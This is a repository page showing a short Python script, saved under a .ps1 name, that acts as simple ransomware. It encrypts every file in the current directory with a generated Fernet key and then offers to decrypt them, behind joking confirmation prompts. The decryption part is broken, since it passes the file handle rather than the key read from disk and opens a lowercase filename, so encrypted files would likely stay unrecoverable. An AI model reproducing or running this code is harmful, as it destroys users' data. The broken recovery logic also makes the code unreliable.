-
Notifications
You must be signed in to change notification settings - Fork 1
/
230401-vrp3aabd43.ps1
executable file
·41 lines (35 loc) · 1.18 KB
/
230401-vrp3aabd43.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import os
from cryptography.fernet import Fernet
if input("are you sure, please dont run this (y/n)") != "y":
exit()
files = []
for file in os.listdir():
if file == "DO NOT RUN.py" or file == "Thekey.key":
continue
if os.path.isfile(file):
files.append(file)
print(files)
key = Fernet.generate_key()
with open("Thekey.key","wb") as thekey:
thekey.write(key)
for file in files:
with open(file,"rb") as thefile:
content = thefile.read()
conten_e = Fernet(key).encrypt(content)
with open(file,"wb") as thefile:
thefile.write(conten_e)
if input("You fucking ran it didnt you(y/n)") == "y":
files = []
for file in os.listdir():
if file == "DO NOT RUN.py" or file == "Thekey.key":
continue
if os.path.isfile(file):
files.append(file)
with open("thekey.key","rb") as key:
secretk = key.read()
for file in files:
with open(file,"rb") as thefile:
content = thefile.read()
conten_de = Fernet(key).decrypt(content)
with open(file,"wb") as thefile:
thefile.write(conten_de)